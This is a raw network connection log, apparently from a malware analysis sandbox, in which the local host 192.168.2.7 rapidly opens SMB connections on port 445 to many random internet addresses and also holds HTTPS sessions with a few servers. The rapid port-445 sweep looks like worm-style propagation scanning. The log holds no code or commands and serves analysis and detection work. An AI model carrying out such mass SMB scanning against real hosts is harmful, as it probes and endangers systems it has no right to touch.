Jul 20, 2022 15:46:09.038877964 CEST	55616	445	192.168.2.7	107.186.141.37
Jul 20, 2022 15:46:09.042361021 CEST	55618	445	192.168.2.7	188.18.139.71
Jul 20, 2022 15:46:09.045319080 CEST	443	55617	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.045433044 CEST	55617	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.049622059 CEST	55621	445	192.168.2.7	63.203.248.57
Jul 20, 2022 15:46:09.049985886 CEST	55629	445	192.168.2.7	65.135.107.240
Jul 20, 2022 15:46:09.050151110 CEST	55631	445	192.168.2.7	220.236.240.68
Jul 20, 2022 15:46:09.050276041 CEST	55633	445	192.168.2.7	198.183.93.84
Jul 20, 2022 15:46:09.050474882 CEST	55635	445	192.168.2.7	117.22.239.37
Jul 20, 2022 15:46:09.050600052 CEST	55636	445	192.168.2.7	107.181.165.247
Jul 20, 2022 15:46:09.077847004 CEST	55639	445	192.168.2.7	121.219.92.39
Jul 20, 2022 15:46:09.078392982 CEST	55640	445	192.168.2.7	152.200.69.33
Jul 20, 2022 15:46:09.079567909 CEST	55642	445	192.168.2.7	92.22.51.129
Jul 20, 2022 15:46:09.080091953 CEST	55643	445	192.168.2.7	14.135.41.171
Jul 20, 2022 15:46:09.082963943 CEST	55647	445	192.168.2.7	53.153.82.183
Jul 20, 2022 15:46:09.083739042 CEST	55648	445	192.168.2.7	75.41.80.203
Jul 20, 2022 15:46:09.087516069 CEST	55652	445	192.168.2.7	59.104.101.179
Jul 20, 2022 15:46:09.089556932 CEST	55654	445	192.168.2.7	51.53.79.21
Jul 20, 2022 15:46:09.090156078 CEST	55655	445	192.168.2.7	17.158.228.207
Jul 20, 2022 15:46:09.117569923 CEST	55617	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.117584944 CEST	443	55617	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.133411884 CEST	55617	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.133434057 CEST	443	55617	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.166739941 CEST	55658	445	192.168.2.7	221.214.98.153
Jul 20, 2022 15:46:09.177032948 CEST	55663	445	192.168.2.7	94.208.90.131
Jul 20, 2022 15:46:09.177177906 CEST	55664	445	192.168.2.7	155.50.201.176
Jul 20, 2022 15:46:09.177418947 CEST	55667	445	192.168.2.7	220.177.69.147
Jul 20, 2022 15:46:09.177598953 CEST	55669	445	192.168.2.7	138.73.62.202
Jul 20, 2022 15:46:09.177839994 CEST	55671	445	192.168.2.7	109.190.1.91
Jul 20, 2022 15:46:09.178179979 CEST	55675	445	192.168.2.7	53.248.142.211
Jul 20, 2022 15:46:09.178369045 CEST	55677	445	192.168.2.7	37.120.116.57
Jul 20, 2022 15:46:09.178652048 CEST	55680	445	192.168.2.7	26.67.183.0
Jul 20, 2022 15:46:09.179054022 CEST	55684	445	192.168.2.7	99.174.130.128
Jul 20, 2022 15:46:09.179167032 CEST	55685	445	192.168.2.7	26.31.83.50
Jul 20, 2022 15:46:09.180994987 CEST	55694	445	192.168.2.7	2.111.10.88
Jul 20, 2022 15:46:09.181212902 CEST	55695	445	192.168.2.7	142.199.250.44
Jul 20, 2022 15:46:09.209485054 CEST	445	55616	107.186.141.37	192.168.2.7
Jul 20, 2022 15:46:09.209698915 CEST	443	55617	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.209767103 CEST	55616	445	192.168.2.7	107.186.141.37
Jul 20, 2022 15:46:09.209795952 CEST	55617	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.209810019 CEST	443	55617	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.209892988 CEST	55617	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.224574089 CEST	55617	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.224627018 CEST	443	55617	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.224652052 CEST	55617	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.224802017 CEST	55617	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.228993893 CEST	55696	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.229031086 CEST	443	55696	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.229124069 CEST	55696	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.231827974 CEST	55696	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.231848001 CEST	443	55696	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.294626951 CEST	55533	445	192.168.2.7	149.20.139.2
Jul 20, 2022 15:46:09.379046917 CEST	443	55696	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.379190922 CEST	55696	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.379807949 CEST	55696	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.379817963 CEST	443	55696	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.382189989 CEST	445	55616	107.186.141.37	192.168.2.7
Jul 20, 2022 15:46:09.383799076 CEST	55696	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.383806944 CEST	443	55696	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.467715025 CEST	443	55696	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.467827082 CEST	443	55696	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.467850924 CEST	55696	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.467878103 CEST	55696	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.476624012 CEST	55696	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.476667881 CEST	443	55696	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.476685047 CEST	55696	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.476835966 CEST	55696	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.500097036 CEST	55697	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.500138998 CEST	443	55697	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.500224113 CEST	55697	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.504224062 CEST	55697	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.504245043 CEST	443	55697	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.668500900 CEST	443	55697	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.668587923 CEST	55697	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.692179918 CEST	55697	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.692210913 CEST	443	55697	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.694885015 CEST	55697	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.694911003 CEST	443	55697	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.756882906 CEST	443	55697	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.756999016 CEST	443	55697	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.757024050 CEST	55697	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.757083893 CEST	55697	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.759211063 CEST	55697	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.759253979 CEST	443	55697	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.759268045 CEST	55697	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.759327888 CEST	55697	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.761740923 CEST	55699	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.761794090 CEST	443	55699	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.761921883 CEST	55699	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.762454987 CEST	55699	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.762469053 CEST	443	55699	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.907202959 CEST	443	55699	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.907349110 CEST	55699	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.918356895 CEST	55699	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.918380022 CEST	443	55699	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.921613932 CEST	55699	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.921633959 CEST	443	55699	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.987107038 CEST	443	55699	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.987201929 CEST	443	55699	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.987212896 CEST	55699	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.987291098 CEST	55699	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.990283012 CEST	55699	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.990319014 CEST	443	55699	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.990333080 CEST	55699	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.990392923 CEST	55699	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.992131948 CEST	55700	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.992172003 CEST	443	55700	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:09.992285967 CEST	55700	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.992523909 CEST	55700	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:09.992541075 CEST	443	55700	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.113203049 CEST	55701	445	192.168.2.7	188.18.139.72
Jul 20, 2022 15:46:10.145659924 CEST	443	55700	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.145859957 CEST	55700	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.146435976 CEST	55700	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.146446943 CEST	443	55700	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.150090933 CEST	55700	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.150105000 CEST	443	55700	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.215820074 CEST	55704	445	192.168.2.7	107.229.95.4
Jul 20, 2022 15:46:10.216058016 CEST	55711	445	192.168.2.7	80.212.182.160
Jul 20, 2022 15:46:10.216173887 CEST	55713	445	192.168.2.7	107.50.34.231
Jul 20, 2022 15:46:10.216291904 CEST	55715	445	192.168.2.7	41.12.253.224
Jul 20, 2022 15:46:10.216407061 CEST	55717	445	192.168.2.7	51.219.242.194
Jul 20, 2022 15:46:10.218007088 CEST	55719	445	192.168.2.7	176.197.184.182
Jul 20, 2022 15:46:10.220386028 CEST	55721	445	192.168.2.7	150.171.155.21
Jul 20, 2022 15:46:10.220566034 CEST	55724	445	192.168.2.7	51.170.131.75
Jul 20, 2022 15:46:10.220642090 CEST	55725	445	192.168.2.7	100.144.64.138
Jul 20, 2022 15:46:10.220731020 CEST	55727	445	192.168.2.7	12.145.233.6
Jul 20, 2022 15:46:10.220797062 CEST	55728	445	192.168.2.7	23.215.60.6
Jul 20, 2022 15:46:10.221077919 CEST	55732	445	192.168.2.7	213.30.248.99
Jul 20, 2022 15:46:10.221201897 CEST	55733	445	192.168.2.7	36.86.185.135
Jul 20, 2022 15:46:10.221420050 CEST	55737	445	192.168.2.7	65.65.45.149
Jul 20, 2022 15:46:10.221553087 CEST	55739	445	192.168.2.7	204.79.2.231
Jul 20, 2022 15:46:10.234637976 CEST	443	55700	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.234731913 CEST	443	55700	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.234767914 CEST	55700	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.234932899 CEST	55700	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.251674891 CEST	55700	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.251708984 CEST	443	55700	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.251738071 CEST	55700	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.251791000 CEST	55700	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.260499001 CEST	55740	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.260585070 CEST	443	55740	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.260725021 CEST	55740	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.265506983 CEST	55742	445	192.168.2.7	107.109.233.90
Jul 20, 2022 15:46:10.266503096 CEST	55740	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.266537905 CEST	443	55740	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.280158997 CEST	55745	445	192.168.2.7	74.206.119.121
Jul 20, 2022 15:46:10.280702114 CEST	55746	445	192.168.2.7	158.20.19.24
Jul 20, 2022 15:46:10.283889055 CEST	55753	445	192.168.2.7	57.242.61.193
Jul 20, 2022 15:46:10.285435915 CEST	55756	445	192.168.2.7	216.146.37.131
Jul 20, 2022 15:46:10.287594080 CEST	55761	445	192.168.2.7	76.178.166.18
Jul 20, 2022 15:46:10.288568974 CEST	55763	445	192.168.2.7	50.73.157.184
Jul 20, 2022 15:46:10.289961100 CEST	55766	445	192.168.2.7	130.191.158.144
Jul 20, 2022 15:46:10.291316986 CEST	55769	445	192.168.2.7	48.54.226.246
Jul 20, 2022 15:46:10.292339087 CEST	55771	445	192.168.2.7	139.49.177.61
Jul 20, 2022 15:46:10.293241978 CEST	55773	445	192.168.2.7	39.153.208.197
Jul 20, 2022 15:46:10.294771910 CEST	55776	445	192.168.2.7	105.231.181.232
Jul 20, 2022 15:46:10.295279026 CEST	55777	445	192.168.2.7	141.53.181.126
Jul 20, 2022 15:46:10.403985977 CEST	54329	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:46:10.411736012 CEST	443	55740	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.411839962 CEST	55740	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.412833929 CEST	55740	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.412853956 CEST	443	55740	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.442648888 CEST	55740	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.442677021 CEST	443	55740	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.522711992 CEST	443	55740	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.522844076 CEST	443	55740	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.522872925 CEST	55740	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.522917032 CEST	55740	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.572657108 CEST	55740	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.572683096 CEST	443	55740	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:10.572726011 CEST	55740	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:10.572750092 CEST	55740	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:11.186106920 CEST	55782	445	192.168.2.7	188.18.139.73
Jul 20, 2022 15:46:11.327852011 CEST	55785	445	192.168.2.7	160.236.6.206
Jul 20, 2022 15:46:11.360275984 CEST	55792	445	192.168.2.7	78.115.151.158
Jul 20, 2022 15:46:11.360438108 CEST	55794	445	192.168.2.7	84.138.82.69
Jul 20, 2022 15:46:11.360548973 CEST	55796	445	192.168.2.7	18.159.222.111
Jul 20, 2022 15:46:11.360683918 CEST	55798	445	192.168.2.7	163.121.40.227
Jul 20, 2022 15:46:11.360817909 CEST	55800	445	192.168.2.7	131.250.184.164
Jul 20, 2022 15:46:11.361016989 CEST	55802	445	192.168.2.7	213.40.24.229
Jul 20, 2022 15:46:11.361221075 CEST	55805	445	192.168.2.7	210.166.232.198
Jul 20, 2022 15:46:11.361329079 CEST	55806	445	192.168.2.7	92.182.112.147
Jul 20, 2022 15:46:11.361478090 CEST	55808	445	192.168.2.7	101.56.233.12
Jul 20, 2022 15:46:11.361593962 CEST	55809	445	192.168.2.7	55.43.6.210
Jul 20, 2022 15:46:11.361840963 CEST	55813	445	192.168.2.7	114.72.203.243
Jul 20, 2022 15:46:11.361917019 CEST	55814	445	192.168.2.7	179.167.156.212
Jul 20, 2022 15:46:11.362212896 CEST	55818	445	192.168.2.7	161.246.6.26
Jul 20, 2022 15:46:11.362381935 CEST	55820	445	192.168.2.7	115.46.140.115
Jul 20, 2022 15:46:11.375129938 CEST	55822	445	192.168.2.7	193.100.64.57
Jul 20, 2022 15:46:11.409995079 CEST	55827	445	192.168.2.7	33.150.83.200
Jul 20, 2022 15:46:11.423779964 CEST	55828	445	192.168.2.7	82.141.170.67
Jul 20, 2022 15:46:11.423799992 CEST	55829	445	192.168.2.7	23.56.95.196
Jul 20, 2022 15:46:11.423985004 CEST	55830	445	192.168.2.7	172.51.78.137
Jul 20, 2022 15:46:11.424176931 CEST	55836	445	192.168.2.7	203.93.29.34
Jul 20, 2022 15:46:11.424333096 CEST	55839	445	192.168.2.7	216.192.42.167
Jul 20, 2022 15:46:11.424582005 CEST	55847	445	192.168.2.7	211.214.24.214
Jul 20, 2022 15:46:11.424582005 CEST	55846	445	192.168.2.7	218.219.116.166
Jul 20, 2022 15:46:11.424798012 CEST	55850	445	192.168.2.7	190.243.248.9
Jul 20, 2022 15:46:11.424901962 CEST	55853	445	192.168.2.7	165.129.102.105
Jul 20, 2022 15:46:11.424971104 CEST	55855	445	192.168.2.7	18.152.179.171
Jul 20, 2022 15:46:11.425086975 CEST	55857	445	192.168.2.7	118.201.5.13
Jul 20, 2022 15:46:12.296258926 CEST	55862	445	192.168.2.7	188.18.139.74
Jul 20, 2022 15:46:12.394548893 CEST	55863	445	192.168.2.7	107.186.141.37
Jul 20, 2022 15:46:12.454782963 CEST	55868	445	192.168.2.7	12.35.127.249
Jul 20, 2022 15:46:12.479098082 CEST	55872	445	192.168.2.7	176.5.145.247
Jul 20, 2022 15:46:12.479134083 CEST	55875	445	192.168.2.7	149.251.136.250
Jul 20, 2022 15:46:12.479202986 CEST	55877	445	192.168.2.7	1.16.184.175
Jul 20, 2022 15:46:12.479248047 CEST	55879	445	192.168.2.7	147.56.24.22
Jul 20, 2022 15:46:12.479311943 CEST	55881	445	192.168.2.7	108.23.28.180
Jul 20, 2022 15:46:12.479393959 CEST	55883	445	192.168.2.7	163.232.225.105
Jul 20, 2022 15:46:12.479532003 CEST	55886	445	192.168.2.7	15.220.63.107
Jul 20, 2022 15:46:12.479624987 CEST	55889	445	192.168.2.7	75.101.179.130
Jul 20, 2022 15:46:12.479640007 CEST	55888	445	192.168.2.7	137.48.146.45
Jul 20, 2022 15:46:12.479731083 CEST	55890	445	192.168.2.7	55.79.239.81
Jul 20, 2022 15:46:12.479877949 CEST	55894	445	192.168.2.7	106.58.131.124
Jul 20, 2022 15:46:12.480112076 CEST	55895	445	192.168.2.7	176.60.38.241
Jul 20, 2022 15:46:12.480113983 CEST	55901	445	192.168.2.7	31.4.240.175
Jul 20, 2022 15:46:12.480118036 CEST	55899	445	192.168.2.7	160.118.80.185
Jul 20, 2022 15:46:12.501764059 CEST	55905	445	192.168.2.7	83.130.193.173
Jul 20, 2022 15:46:12.534419060 CEST	55908	445	192.168.2.7	43.27.6.58
Jul 20, 2022 15:46:12.563658953 CEST	445	55863	107.186.141.37	192.168.2.7
Jul 20, 2022 15:46:12.563894033 CEST	55863	445	192.168.2.7	107.186.141.37
Jul 20, 2022 15:46:12.567636967 CEST	55863	445	192.168.2.7	107.186.141.37
Jul 20, 2022 15:46:12.570544958 CEST	55915	445	192.168.2.7	173.106.131.194
Jul 20, 2022 15:46:12.571777105 CEST	55916	445	192.168.2.7	145.50.234.161
Jul 20, 2022 15:46:12.589968920 CEST	55918	445	192.168.2.7	77.33.111.232
Jul 20, 2022 15:46:12.590157986 CEST	55920	445	192.168.2.7	195.115.147.72
Jul 20, 2022 15:46:12.590223074 CEST	55922	445	192.168.2.7	93.210.136.83
Jul 20, 2022 15:46:12.590333939 CEST	55926	445	192.168.2.7	5.107.97.129
Jul 20, 2022 15:46:12.590348005 CEST	55925	445	192.168.2.7	207.83.27.171
Jul 20, 2022 15:46:12.590522051 CEST	55931	445	192.168.2.7	61.200.118.195
Jul 20, 2022 15:46:12.590591908 CEST	55932	445	192.168.2.7	19.233.19.209
Jul 20, 2022 15:46:12.590742111 CEST	55939	445	192.168.2.7	42.173.74.226
Jul 20, 2022 15:46:12.590873957 CEST	55941	445	192.168.2.7	6.50.173.209
Jul 20, 2022 15:46:12.736588001 CEST	445	55863	107.186.141.37	192.168.2.7
Jul 20, 2022 15:46:12.739826918 CEST	55863	445	192.168.2.7	107.186.141.37
Jul 20, 2022 15:46:12.908983946 CEST	445	55863	107.186.141.37	192.168.2.7
Jul 20, 2022 15:46:12.909239054 CEST	55863	445	192.168.2.7	107.186.141.37
Jul 20, 2022 15:46:13.080538034 CEST	445	55863	107.186.141.37	192.168.2.7
Jul 20, 2022 15:46:13.155011892 CEST	55944	445	192.168.2.7	107.186.141.38
Jul 20, 2022 15:46:13.325839996 CEST	445	55944	107.186.141.38	192.168.2.7
Jul 20, 2022 15:46:13.325999975 CEST	55944	445	192.168.2.7	107.186.141.38
Jul 20, 2022 15:46:13.326045990 CEST	55944	445	192.168.2.7	107.186.141.38
Jul 20, 2022 15:46:13.331480980 CEST	55945	445	192.168.2.7	107.186.141.38
Jul 20, 2022 15:46:13.374119043 CEST	55946	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:13.467066050 CEST	445	55946	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:13.467210054 CEST	55946	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:13.467308998 CEST	55946	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:13.470328093 CEST	55947	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:13.496445894 CEST	445	55944	107.186.141.38	192.168.2.7
Jul 20, 2022 15:46:13.496598959 CEST	445	55944	107.186.141.38	192.168.2.7
Jul 20, 2022 15:46:13.503942966 CEST	445	55945	107.186.141.38	192.168.2.7
Jul 20, 2022 15:46:13.504082918 CEST	55945	445	192.168.2.7	107.186.141.38
Jul 20, 2022 15:46:13.504285097 CEST	55945	445	192.168.2.7	107.186.141.38
Jul 20, 2022 15:46:13.553689957 CEST	445	55946	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:13.556030035 CEST	445	55947	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:13.556200981 CEST	55947	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:13.556596994 CEST	55947	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:13.561697960 CEST	445	55946	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:13.561788082 CEST	55946	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:13.578537941 CEST	55952	445	192.168.2.7	167.20.245.200
Jul 20, 2022 15:46:13.593889952 CEST	55955	445	192.168.2.7	117.108.176.59
Jul 20, 2022 15:46:13.594409943 CEST	55956	445	192.168.2.7	86.58.136.248
Jul 20, 2022 15:46:13.597141027 CEST	55961	445	192.168.2.7	83.186.241.98
Jul 20, 2022 15:46:13.597770929 CEST	55962	445	192.168.2.7	82.191.211.202
Jul 20, 2022 15:46:13.599235058 CEST	55965	445	192.168.2.7	177.32.108.93
Jul 20, 2022 15:46:13.600187063 CEST	55967	445	192.168.2.7	8.211.110.231
Jul 20, 2022 15:46:13.600692987 CEST	55968	445	192.168.2.7	110.195.89.64
Jul 20, 2022 15:46:13.601620913 CEST	55970	445	192.168.2.7	211.123.240.106
Jul 20, 2022 15:46:13.603043079 CEST	55973	445	192.168.2.7	10.221.220.10
Jul 20, 2022 15:46:13.604270935 CEST	55975	445	192.168.2.7	185.212.254.197
Jul 20, 2022 15:46:13.604774952 CEST	55976	445	192.168.2.7	179.199.139.82
Jul 20, 2022 15:46:13.606257915 CEST	55979	445	192.168.2.7	68.6.252.14
Jul 20, 2022 15:46:13.606776953 CEST	55980	445	192.168.2.7	90.120.195.93
Jul 20, 2022 15:46:13.608313084 CEST	55981	445	192.168.2.7	22.168.46.21
Jul 20, 2022 15:46:13.626061916 CEST	55989	445	192.168.2.7	188.135.181.213
Jul 20, 2022 15:46:13.640114069 CEST	445	55947	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:13.648101091 CEST	445	55947	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:13.648612022 CEST	55947	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:13.656841040 CEST	55993	445	192.168.2.7	195.181.188.13
Jul 20, 2022 15:46:13.673702002 CEST	445	55945	107.186.141.38	192.168.2.7
Jul 20, 2022 15:46:13.673856974 CEST	55945	445	192.168.2.7	107.186.141.38
Jul 20, 2022 15:46:13.702035904 CEST	55999	445	192.168.2.7	45.116.81.216
Jul 20, 2022 15:46:13.702783108 CEST	56000	445	192.168.2.7	92.152.207.4
Jul 20, 2022 15:46:13.705455065 CEST	56003	445	192.168.2.7	132.63.226.170
Jul 20, 2022 15:46:13.706233025 CEST	56004	445	192.168.2.7	30.191.170.214
Jul 20, 2022 15:46:13.736196995 CEST	445	55947	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:13.750638008 CEST	55947	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:13.757019043 CEST	56007	445	192.168.2.7	31.188.166.94
Jul 20, 2022 15:46:13.757183075 CEST	56009	445	192.168.2.7	161.138.148.77
Jul 20, 2022 15:46:13.757184982 CEST	56012	445	192.168.2.7	153.47.131.227
Jul 20, 2022 15:46:13.757328987 CEST	56016	445	192.168.2.7	138.31.242.111
Jul 20, 2022 15:46:13.757410049 CEST	56015	445	192.168.2.7	179.87.191.82
Jul 20, 2022 15:46:13.757610083 CEST	56023	445	192.168.2.7	21.187.90.4
Jul 20, 2022 15:46:13.757663012 CEST	56025	445	192.168.2.7	95.232.48.129
Jul 20, 2022 15:46:13.836123943 CEST	445	55947	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:13.836318016 CEST	55947	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:13.843585014 CEST	445	55945	107.186.141.38	192.168.2.7
Jul 20, 2022 15:46:13.843955994 CEST	55945	445	192.168.2.7	107.186.141.38
Jul 20, 2022 15:46:13.920545101 CEST	445	55947	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:13.920700073 CEST	55947	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:14.008462906 CEST	445	55947	188.18.139.75	192.168.2.7
Jul 20, 2022 15:46:14.008599043 CEST	55947	445	192.168.2.7	188.18.139.75
Jul 20, 2022 15:46:14.013297081 CEST	445	55945	107.186.141.38	192.168.2.7
Jul 20, 2022 15:46:14.704495907 CEST	56030	445	192.168.2.7	163.86.3.0
Jul 20, 2022 15:46:14.727924109 CEST	56035	445	192.168.2.7	35.163.79.252
Jul 20, 2022 15:46:14.727999926 CEST	56036	445	192.168.2.7	157.180.26.88
Jul 20, 2022 15:46:14.728050947 CEST	56037	445	192.168.2.7	207.251.60.57
Jul 20, 2022 15:46:14.728223085 CEST	56040	445	192.168.2.7	13.242.21.228
Jul 20, 2022 15:46:14.728281021 CEST	56041	445	192.168.2.7	30.90.220.0
Jul 20, 2022 15:46:14.728517056 CEST	56043	445	192.168.2.7	51.102.224.78
Jul 20, 2022 15:46:14.728672981 CEST	56046	445	192.168.2.7	73.92.166.21
Jul 20, 2022 15:46:14.728949070 CEST	56050	445	192.168.2.7	22.225.126.198
Jul 20, 2022 15:46:14.728988886 CEST	56051	445	192.168.2.7	137.242.22.146
Jul 20, 2022 15:46:14.729217052 CEST	56048	445	192.168.2.7	180.115.14.125
Jul 20, 2022 15:46:14.729279041 CEST	56054	445	192.168.2.7	56.217.169.18
Jul 20, 2022 15:46:14.729610920 CEST	56059	445	192.168.2.7	22.191.176.9
Jul 20, 2022 15:46:14.729768991 CEST	56061	445	192.168.2.7	208.45.54.168
Jul 20, 2022 15:46:14.734954119 CEST	56062	445	192.168.2.7	28.92.46.206
Jul 20, 2022 15:46:14.751409054 CEST	56068	445	192.168.2.7	11.176.239.85
Jul 20, 2022 15:46:14.780158043 CEST	56072	445	192.168.2.7	212.116.63.46
Jul 20, 2022 15:46:14.790620089 CEST	56075	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:46:14.790663004 CEST	443	56075	20.199.120.85	192.168.2.7
Jul 20, 2022 15:46:14.790747881 CEST	56075	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:46:14.791580915 CEST	56075	443	192.168.2.7	20.199.120.85
Jul 20, 2022 15:46:14.791598082 CEST	443	56075	20.199.120.85	192.168.2.7
Jul 20, 2022 15:46:14.828113079 CEST	56081	445	192.168.2.7	201.183.121.202
Jul 20, 2022 15:46:14.828136921 CEST	56082	445	192.168.2.7	183.108.43.24
Jul 20, 2022 15:46:14.828433990 CEST	56085	445	192.168.2.7	13.168.87.97
Jul 20, 2022 15:46:14.828495979 CEST	56086	445	192.168.2.7	105.176.241.240
Jul 20, 2022 15:46:14.877717018 CEST	56090	445	192.168.2.7	120.163.66.127
Jul 20, 2022 15:46:14.878302097 CEST	56091	445	192.168.2.7	102.235.180.86
